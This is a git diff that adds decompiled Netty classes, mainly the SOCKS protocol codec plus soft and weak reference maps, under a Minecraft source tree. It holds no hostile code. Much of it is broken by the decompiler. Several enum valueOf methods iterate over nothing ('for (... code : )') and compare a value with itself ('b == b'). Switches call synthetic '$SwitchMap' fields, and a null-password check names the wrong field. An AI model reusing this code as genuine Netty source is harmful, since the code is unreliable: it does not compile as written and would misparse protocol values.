+    for (Map.Entry<? extends K, ? extends V> entry : m.entrySet()) {
+      delegate.put(entry.getKey(), fold(entry.getValue()));
+    }
+  }
+  
+  public void clear()
+  {
+    delegate.clear();
+  }
+  
+  public Set<K> keySet()
+  {
+    return delegate.keySet();
+  }
+  
+  public Collection<V> values()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/SoftReferenceMap.java b/src/minecraft/io/netty/handler/codec/serialization/SoftReferenceMap.java
new file mode 100644
index 0000000..c2956e9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/SoftReferenceMap.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.serialization;
+
+import java.lang.ref.Reference;
+import java.lang.ref.SoftReference;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SoftReferenceMap<K, V>
+  extends ReferenceMap<K, V>
+{
+  SoftReferenceMap(Map<K, Reference<V>> delegate)
+  {
+    super(delegate);
+  }
+  
+  Reference<V> fold(V value)
+  {
+    return new SoftReference(value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/WeakReferenceMap.java b/src/minecraft/io/netty/handler/codec/serialization/WeakReferenceMap.java
new file mode 100644
index 0000000..c7db717
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/WeakReferenceMap.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.serialization;
+
+import java.lang.ref.Reference;
+import java.lang.ref.WeakReference;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class WeakReferenceMap<K, V>
+  extends ReferenceMap<K, V>
+{
+  WeakReferenceMap(Map<K, Reference<V>> delegate)
+  {
+    super(delegate);
+  }
+  
+  Reference<V> fold(V value)
+  {
+    return new WeakReference(value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAddressType.java b/src/minecraft/io/netty/handler/codec/socks/SocksAddressType.java
new file mode 100644
index 0000000..6ae948a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAddressType.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksAddressType
+{
+  IPv4((byte)1), 
+  DOMAIN((byte)3), 
+  IPv6((byte)4), 
+  UNKNOWN((byte)-1);
+  
+  private final byte b;
+  
+  private SocksAddressType(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksAddressType fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksAddressType valueOf(byte b) {
+    for (SocksAddressType code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNKNOWN;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequest.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequest.java
new file mode 100644
index 0000000..4dfe4d0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequest.java
@@ -0,0 +1,83 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import java.nio.charset.CharsetEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksAuthRequest
+  extends SocksRequest
+{
+  private static final CharsetEncoder asciiEncoder = CharsetUtil.getEncoder(CharsetUtil.US_ASCII);
+  private static final SocksSubnegotiationVersion SUBNEGOTIATION_VERSION = SocksSubnegotiationVersion.AUTH_PASSWORD;
+  private final String username;
+  private final String password;
+  
+  public SocksAuthRequest(String username, String password) {
+    super(SocksRequestType.AUTH);
+    if (username == null) {
+      throw new NullPointerException("username");
+    }
+    if (password == null) {
+      throw new NullPointerException("username");
+    }
+    if ((!asciiEncoder.canEncode(username)) || (!asciiEncoder.canEncode(password))) {
+      throw new IllegalArgumentException(" username: " + username + " or password: " + password + " values should be in pure ascii");
+    }
+    
+    if (username.length() > 255) {
+      throw new IllegalArgumentException(username + " exceeds 255 char limit");
+    }
+    if (password.length() > 255) {
+      throw new IllegalArgumentException(password + " exceeds 255 char limit");
+    }
+    this.username = username;
+    this.password = password;
+  }
+  
+
+
+
+
+  public String username()
+  {
+    return username;
+  }
+  
+
+
+
+
+  public String password()
+  {
+    return password;
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(SUBNEGOTIATION_VERSION.byteValue());
+    byteBuf.writeByte(username.length());
+    byteBuf.writeBytes(username.getBytes(CharsetUtil.US_ASCII));
+    byteBuf.writeByte(password.length());
+    byteBuf.writeBytes(password.getBytes(CharsetUtil.US_ASCII));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequestDecoder.java
new file mode 100644
index 0000000..1745a32
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthRequestDecoder.java
@@ -0,0 +1,83 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksAuthRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_AUTH_REQUEST_DECODER";
+  private SocksSubnegotiationVersion version;
+  private int fieldLength;
+  private String username;
+  private String password;
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_AUTH_REQUEST_DECODER";
+  }
+  
+
+
+
+
+  private SocksRequest msg = SocksCommonUtils.UNKNOWN_SOCKS_REQUEST;
+  
+  public SocksAuthRequestDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf byteBuf, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAuthRequestDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksSubnegotiationVersion.valueOf(byteBuf.readByte());
+      if (version == SocksSubnegotiationVersion.AUTH_PASSWORD)
+      {
+
+        checkpoint(State.READ_USERNAME); }
+      break;
+    case 2: 
+      fieldLength = byteBuf.readByte();
+      username = byteBuf.readBytes(fieldLength).toString(CharsetUtil.US_ASCII);
+      checkpoint(State.READ_PASSWORD);
+    
+    case 3: 
+      fieldLength = byteBuf.readByte();
+      password = byteBuf.readBytes(fieldLength).toString(CharsetUtil.US_ASCII);
+      msg = new SocksAuthRequest(username, password);
+    }
+    
+    ctx.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_USERNAME, 
+    READ_PASSWORD;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponse.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponse.java
new file mode 100644
index 0000000..cd56342
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponse.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksAuthResponse
+  extends SocksResponse
+{
+  private static final SocksSubnegotiationVersion SUBNEGOTIATION_VERSION = SocksSubnegotiationVersion.AUTH_PASSWORD;
+  private final SocksAuthStatus authStatus;
+  
+  public SocksAuthResponse(SocksAuthStatus authStatus) {
+    super(SocksResponseType.AUTH);
+    if (authStatus == null) {
+      throw new NullPointerException("authStatus");
+    }
+    this.authStatus = authStatus;
+  }
+  
+
+
+
+
+  public SocksAuthStatus authStatus()
+  {
+    return authStatus;
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(SUBNEGOTIATION_VERSION.byteValue());
+    byteBuf.writeByte(authStatus.byteValue());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponseDecoder.java
new file mode 100644
index 0000000..2bfc8c4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthResponseDecoder.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksAuthResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_AUTH_RESPONSE_DECODER";
+  private SocksSubnegotiationVersion version;
+  private SocksAuthStatus authStatus;
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_AUTH_RESPONSE_DECODER";
+  }
+  
+
+
+  private SocksResponse msg = SocksCommonUtils.UNKNOWN_SOCKS_RESPONSE;
+  
+  public SocksAuthResponseDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext channelHandlerContext, ByteBuf byteBuf, List<Object> out)
+    throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAuthResponseDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksSubnegotiationVersion.valueOf(byteBuf.readByte());
+      if (version == SocksSubnegotiationVersion.AUTH_PASSWORD)
+      {
+
+        checkpoint(State.READ_AUTH_RESPONSE); }
+      break;
+    case 2: 
+      authStatus = SocksAuthStatus.valueOf(byteBuf.readByte());
+      msg = new SocksAuthResponse(authStatus);
+    }
+    
+    channelHandlerContext.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_AUTH_RESPONSE;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthScheme.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthScheme.java
new file mode 100644
index 0000000..26c95e6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthScheme.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksAuthScheme
+{
+  NO_AUTH((byte)0), 
+  AUTH_GSSAPI((byte)1), 
+  AUTH_PASSWORD((byte)2), 
+  UNKNOWN((byte)-1);
+  
+  private final byte b;
+  
+  private SocksAuthScheme(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksAuthScheme fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksAuthScheme valueOf(byte b) {
+    for (SocksAuthScheme code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNKNOWN;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksAuthStatus.java b/src/minecraft/io/netty/handler/codec/socks/SocksAuthStatus.java
new file mode 100644
index 0000000..2d70983
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksAuthStatus.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksAuthStatus
+{
+  SUCCESS((byte)0), 
+  FAILURE((byte)-1);
+  
+  private final byte b;
+  
+  private SocksAuthStatus(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksAuthStatus fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksAuthStatus valueOf(byte b) {
+    for (SocksAuthStatus code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return FAILURE;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequest.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequest.java
new file mode 100644
index 0000000..8d2e1bf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequest.java
@@ -0,0 +1,136 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksCmdRequest
+  extends SocksRequest
+{
+  private final SocksCmdType cmdType;
+  private final SocksAddressType addressType;
+  private final String host;
+  private final int port;
+  
+  public SocksCmdRequest(SocksCmdType cmdType, SocksAddressType addressType, String host, int port)
+  {
+    super(SocksRequestType.CMD);
+    if (cmdType == null) {
+      throw new NullPointerException("cmdType");
+    }
+    if (addressType == null) {
+      throw new NullPointerException("addressType");
+    }
+    if (host == null) {
+      throw new NullPointerException("host");
+    }
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+    case 1: 
+      if (!NetUtil.isValidIpV4Address(host)) {
+        throw new IllegalArgumentException(host + " is not a valid IPv4 address");
+      }
+      break;
+    case 2: 
+      if (IDN.toASCII(host).length() > 255) {
+        throw new IllegalArgumentException(host + " IDN: " + IDN.toASCII(host) + " exceeds 255 char limit");
+      }
+      break;
+    case 3: 
+      if (!NetUtil.isValidIpV6Address(host)) {
+        throw new IllegalArgumentException(host + " is not a valid IPv6 address");
+      }
+      
+      break;
+    }
+    
+    if ((port <= 0) || (port >= 65536)) {
+      throw new IllegalArgumentException(port + " is not in bounds 0 < x < 65536");
+    }
+    this.cmdType = cmdType;
+    this.addressType = addressType;
+    this.host = IDN.toASCII(host);
+    this.port = port;
+  }
+  
+
+
+
+
+  public SocksCmdType cmdType()
+  {
+    return cmdType;
+  }
+  
+
+
+
+
+  public SocksAddressType addressType()
+  {
+    return addressType;
+  }
+  
+
+
+
+
+  public String host()
+  {
+    return IDN.toUnicode(host);
+  }
+  
+
+
+
+
+  public int port()
+  {
+    return port;
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(protocolVersion().byteValue());
+    byteBuf.writeByte(cmdType.byteValue());
+    byteBuf.writeByte(0);
+    byteBuf.writeByte(addressType.byteValue());
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+    case 1: 
+      byteBuf.writeBytes(NetUtil.createByteArrayFromIpAddressString(host));
+      byteBuf.writeShort(port);
+      break;
+    
+
+    case 2: 
+      byteBuf.writeByte(host.length());
+      byteBuf.writeBytes(host.getBytes(CharsetUtil.US_ASCII));
+      byteBuf.writeShort(port);
+      break;
+    
+
+    case 3: 
+      byteBuf.writeBytes(NetUtil.createByteArrayFromIpAddressString(host));
+      byteBuf.writeShort(port);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequestDecoder.java
new file mode 100644
index 0000000..c214c32
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdRequestDecoder.java
@@ -0,0 +1,108 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksCmdRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_CMD_REQUEST_DECODER";
+  private SocksProtocolVersion version;
+  private int fieldLength;
+  private SocksCmdType cmdType;
+  private SocksAddressType addressType;
+  private byte reserved;
+  private String host;
+  private int port;
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_CMD_REQUEST_DECODER";
+  }
+  
+
+
+
+
+
+
+
+
+  private SocksRequest msg = SocksCommonUtils.UNKNOWN_SOCKS_REQUEST;
+  
+  public SocksCmdRequestDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf byteBuf, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksCmdRequestDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksProtocolVersion.valueOf(byteBuf.readByte());
+      if (version == SocksProtocolVersion.SOCKS5)
+      {
+
+        checkpoint(State.READ_CMD_HEADER); }
+      break;
+    case 2: 
+      cmdType = SocksCmdType.valueOf(byteBuf.readByte());
+      reserved = byteBuf.readByte();
+      addressType = SocksAddressType.valueOf(byteBuf.readByte());
+      checkpoint(State.READ_CMD_ADDRESS);
+    
+    case 3: 
+      switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+      case 1: 
+        host = SocksCommonUtils.intToIp(byteBuf.readInt());
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdRequest(cmdType, addressType, host, port);
+        break;
+      
+      case 2: 
+        fieldLength = byteBuf.readByte();
+        host = byteBuf.readBytes(fieldLength).toString(CharsetUtil.US_ASCII);
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdRequest(cmdType, addressType, host, port);
+        break;
+      
+      case 3: 
+        host = SocksCommonUtils.ipv6toStr(byteBuf.readBytes(16).array());
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdRequest(cmdType, addressType, host, port); }
+      break;
+    }
+    
+    
+
+
+
+    ctx.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_CMD_HEADER, 
+    READ_CMD_ADDRESS;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponse.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponse.java
new file mode 100644
index 0000000..0e5daeb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponse.java
@@ -0,0 +1,176 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import io.netty.util.NetUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksCmdResponse
+  extends SocksResponse
+{
+  private final SocksCmdStatus cmdStatus;
+  private final SocksAddressType addressType;
+  private final String host;
+  private final int port;
+  private static final byte[] DOMAIN_ZEROED = { 0 };
+  private static final byte[] IPv4_HOSTNAME_ZEROED = { 0, 0, 0, 0 };
+  private static final byte[] IPv6_HOSTNAME_ZEROED = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
+  
+
+
+  public SocksCmdResponse(SocksCmdStatus cmdStatus, SocksAddressType addressType)
+  {
+    this(cmdStatus, addressType, null, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public SocksCmdResponse(SocksCmdStatus cmdStatus, SocksAddressType addressType, String host, int port)
+  {
+    super(SocksResponseType.CMD);
+    if (cmdStatus == null) {
+      throw new NullPointerException("cmdStatus");
+    }
+    if (addressType == null) {
+      throw new NullPointerException("addressType");
+    }
+    if (host != null) {
+      switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+      case 1: 
+        if (!NetUtil.isValidIpV4Address(host)) {
+          throw new IllegalArgumentException(host + " is not a valid IPv4 address");
+        }
+        break;
+      case 2: 
+        if (IDN.toASCII(host).length() > 255) {
+          throw new IllegalArgumentException(host + " IDN: " + IDN.toASCII(host) + " exceeds 255 char limit");
+        }
+        
+        break;
+      case 3: 
+        if (!NetUtil.isValidIpV6Address(host)) {
+          throw new IllegalArgumentException(host + " is not a valid IPv6 address");
+        }
+        
+        break;
+      }
+      
+      host = IDN.toASCII(host);
+    }
+    if ((port < 0) || (port > 65535)) {
+      throw new IllegalArgumentException(port + " is not in bounds 0 <= x <= 65535");
+    }
+    this.cmdStatus = cmdStatus;
+    this.addressType = addressType;
+    this.host = host;
+    this.port = port;
+  }
+  
+
+
+
+
+  public SocksCmdStatus cmdStatus()
+  {
+    return cmdStatus;
+  }
+  
+
+
+
+
+  public SocksAddressType addressType()
+  {
+    return addressType;
+  }
+  
+
+
+
+
+
+
+
+  public String host()
+  {
+    if (host != null) {
+      return IDN.toUnicode(host);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+  public int port()
+  {
+    return port;
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(protocolVersion().byteValue());
+    byteBuf.writeByte(cmdStatus.byteValue());
+    byteBuf.writeByte(0);
+    byteBuf.writeByte(addressType.byteValue());
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+    case 1: 
+      byte[] hostContent = host == null ? IPv4_HOSTNAME_ZEROED : NetUtil.createByteArrayFromIpAddressString(host);
+      
+      byteBuf.writeBytes(hostContent);
+      byteBuf.writeShort(port);
+      break;
+    
+    case 2: 
+      byte[] hostContent = host == null ? DOMAIN_ZEROED : host.getBytes(CharsetUtil.US_ASCII);
+      
+      byteBuf.writeByte(hostContent.length);
+      byteBuf.writeBytes(hostContent);
+      byteBuf.writeShort(port);
+      break;
+    
+    case 3: 
+      byte[] hostContent = host == null ? IPv6_HOSTNAME_ZEROED : NetUtil.createByteArrayFromIpAddressString(host);
+      
+      byteBuf.writeBytes(hostContent);
+      byteBuf.writeShort(port);
+      break;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponseDecoder.java
new file mode 100644
index 0000000..01bf31f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdResponseDecoder.java
@@ -0,0 +1,107 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksCmdResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_CMD_RESPONSE_DECODER";
+  private SocksProtocolVersion version;
+  private int fieldLength;
+  private SocksCmdStatus cmdStatus;
+  private SocksAddressType addressType;
+  private byte reserved;
+  private String host;
+  private int port;
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_CMD_RESPONSE_DECODER";
+  }
+  
+
+
+
+
+
+
+
+  private SocksResponse msg = SocksCommonUtils.UNKNOWN_SOCKS_RESPONSE;
+  
+  public SocksCmdResponseDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf byteBuf, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksCmdResponseDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksProtocolVersion.valueOf(byteBuf.readByte());
+      if (version == SocksProtocolVersion.SOCKS5)
+      {
+
+        checkpoint(State.READ_CMD_HEADER); }
+      break;
+    case 2: 
+      cmdStatus = SocksCmdStatus.valueOf(byteBuf.readByte());
+      reserved = byteBuf.readByte();
+      addressType = SocksAddressType.valueOf(byteBuf.readByte());
+      checkpoint(State.READ_CMD_ADDRESS);
+    
+    case 3: 
+      switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksAddressType[addressType.ordinal()]) {
+      case 1: 
+        host = SocksCommonUtils.intToIp(byteBuf.readInt());
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdResponse(cmdStatus, addressType, host, port);
+        break;
+      
+      case 2: 
+        fieldLength = byteBuf.readByte();
+        host = byteBuf.readBytes(fieldLength).toString(CharsetUtil.US_ASCII);
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdResponse(cmdStatus, addressType, host, port);
+        break;
+      
+      case 3: 
+        host = SocksCommonUtils.ipv6toStr(byteBuf.readBytes(16).array());
+        port = byteBuf.readUnsignedShort();
+        msg = new SocksCmdResponse(cmdStatus, addressType, host, port); }
+      break;
+    }
+    
+    
+
+
+
+    ctx.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_CMD_HEADER, 
+    READ_CMD_ADDRESS;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdStatus.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdStatus.java
new file mode 100644
index 0000000..daeb6c8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdStatus.java
@@ -0,0 +1,57 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksCmdStatus
+{
+  SUCCESS((byte)0), 
+  FAILURE((byte)1), 
+  FORBIDDEN((byte)2), 
+  NETWORK_UNREACHABLE((byte)3), 
+  HOST_UNREACHABLE((byte)4), 
+  REFUSED((byte)5), 
+  TTL_EXPIRED((byte)6), 
+  COMMAND_NOT_SUPPORTED((byte)7), 
+  ADDRESS_NOT_SUPPORTED((byte)8), 
+  UNASSIGNED((byte)-1);
+  
+  private final byte b;
+  
+  private SocksCmdStatus(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksCmdStatus fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksCmdStatus valueOf(byte b) {
+    for (SocksCmdStatus code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNASSIGNED;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCmdType.java b/src/minecraft/io/netty/handler/codec/socks/SocksCmdType.java
new file mode 100644
index 0000000..8d9b580
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCmdType.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksCmdType
+{
+  CONNECT((byte)1), 
+  BIND((byte)2), 
+  UDP((byte)3), 
+  UNKNOWN((byte)-1);
+  
+  private final byte b;
+  
+  private SocksCmdType(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksCmdType fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksCmdType valueOf(byte b) {
+    for (SocksCmdType code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNKNOWN;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksCommonUtils.java b/src/minecraft/io/netty/handler/codec/socks/SocksCommonUtils.java
new file mode 100644
index 0000000..cd6478b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksCommonUtils.java
@@ -0,0 +1,106 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SocksCommonUtils
+{
+  public static final SocksRequest UNKNOWN_SOCKS_REQUEST = new UnknownSocksRequest();
+  public static final SocksResponse UNKNOWN_SOCKS_RESPONSE = new UnknownSocksResponse();
+  
+  private static final int SECOND_ADDRESS_OCTET_SHIFT = 16;
+  
+  private static final int FIRST_ADDRESS_OCTET_SHIFT = 24;
+  
+  private static final int THIRD_ADDRESS_OCTET_SHIFT = 8;
+  
+  private static final int XOR_DEFAULT_VALUE = 255;
+  
+
+  private SocksCommonUtils() {}
+  
+  public static String intToIp(int i)
+  {
+    return String.valueOf(i >> 24 & 0xFF) + '.' + (i >> 16 & 0xFF) + '.' + (i >> 8 & 0xFF) + '.' + (i & 0xFF);
+  }
+  
+
+
+
+  private static final char[] ipv6conseqZeroFiller = { ':', ':' };
+  
+
+  private static final char ipv6hextetSeparator = ':';
+  
+
+  public static String ipv6toCompressedForm(byte[] src)
+  {
+    assert (src.length == 16);
+    
+
+    int cmprHextet = -1;
+    
+    int cmprSize = 0;
+    for (int hextet = 0; hextet < 8;) {
+      int curByte = hextet * 2;
+      int size = 0;
+      
+      while ((curByte < src.length) && (src[curByte] == 0) && (src[(curByte + 1)] == 0)) {
+        curByte += 2;
+        size++;
+      }
+      if (size > cmprSize) {
+        cmprHextet = hextet;
+        cmprSize = size;
+      }
+      hextet = curByte / 2 + 1;
+    }
+    if ((cmprHextet == -1) || (cmprSize < 2))
+    {
+      return ipv6toStr(src);
+    }
+    StringBuilder sb = new StringBuilder(39);
+    ipv6toStr(sb, src, 0, cmprHextet);
+    sb.append(ipv6conseqZeroFiller);
+    ipv6toStr(sb, src, cmprHextet + cmprSize, 8);
+    return sb.toString();
+  }
+  
+
+
+  public static String ipv6toStr(byte[] src)
+  {
+    assert (src.length == 16);
+    StringBuilder sb = new StringBuilder(39);
+    ipv6toStr(sb, src, 0, 8);
+    return sb.toString();
+  }
+  
+  private static void ipv6toStr(StringBuilder sb, byte[] src, int fromHextet, int toHextet)
+  {
+    
+    for (int i = fromHextet; i < toHextet; i++) {
+      appendHextet(sb, src, i);
+      sb.append(':');
+    }
+    
